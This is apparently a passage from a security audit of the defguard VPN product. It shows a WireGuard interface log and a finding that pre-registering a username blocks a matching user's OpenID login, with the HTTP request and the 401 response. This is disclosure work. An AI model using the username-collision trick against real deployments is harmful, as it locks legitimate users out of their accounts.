"message": "Configuring interface wg1337 with config: InterfaceConfiguration {
name: \"wg1337\",
addresses: [IpAddrMask { ip: 10.22.33.20, cidr: 24 }],
port: 1337,
peers: [
Peer {
public_key: c2ae6e16af449e74509080c9af723f6d84bf12106fc1ce27a6d21ec278737615,
preshared_key: Some(0000000000000000000000000000000000000000000000000000000000000000),
protocol_version: Some(1),
endpoint: Some(167.172.191.17:51820),
last_handshake: Some(SystemTime { tv_sec: 0, tv_nsec: 0 }),
tx_bytes: 0,
rx_bytes: 0,
persistent_keepalive_interval: Some(300),
allowed_ips: [IpAddrMask { ip: 10.22.33.0, cidr: 24 }]
}
],
mtu: None
}",
"log.target": "defguard_wireguard_rs::wgapi_linux",
"log.module_path": "defguard_wireguard_rs::wgapi_linux",
"log.file": "/home/user/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/defguard_wireguard_rs-0.7.4/src/wgapi_linux.rs",
"log.line": 37
},
"target": "defguard_wireguard_rs::wgapi_linux",
"span": {
"interface_name": "wg1337",
"name": "create_interface"
},
"spans": [
{ "name": "defguard_service" },
{ "interface_name": "wg1337", "name": "create_interface" }
]
}
Technical details
Username test.test had been created. Email phtest2@isec.pl had been assigned to him.
Different user - test.test@isec.pl wants to log in via OpenID.
OpenID extracts test.test from test.test@isec.pl and tries to create such username.
Since test.test username is already registered (step 1) - API throws an error and legitimate user test.test@isec.pl cannot log in.
Request:
POST /api/v1/openid/callback HTTP/2
Host: defguard.dvpnsec.net
[…]
{“code”:“<cut>”,“state”:“<cut>“}
Response:
HTTP/2 401 Unauthorized
Alt-Svc: h3=“:443”; ma=2592000
Content-Type: application/json
Date: Fri, 29 Aug 2025 11:41:15 GMT
Server: Caddy
X-Defguard-Version: 1.5.0-a29ac10
Content-Length: 61
{“msg”:“User with username test.test already exists”}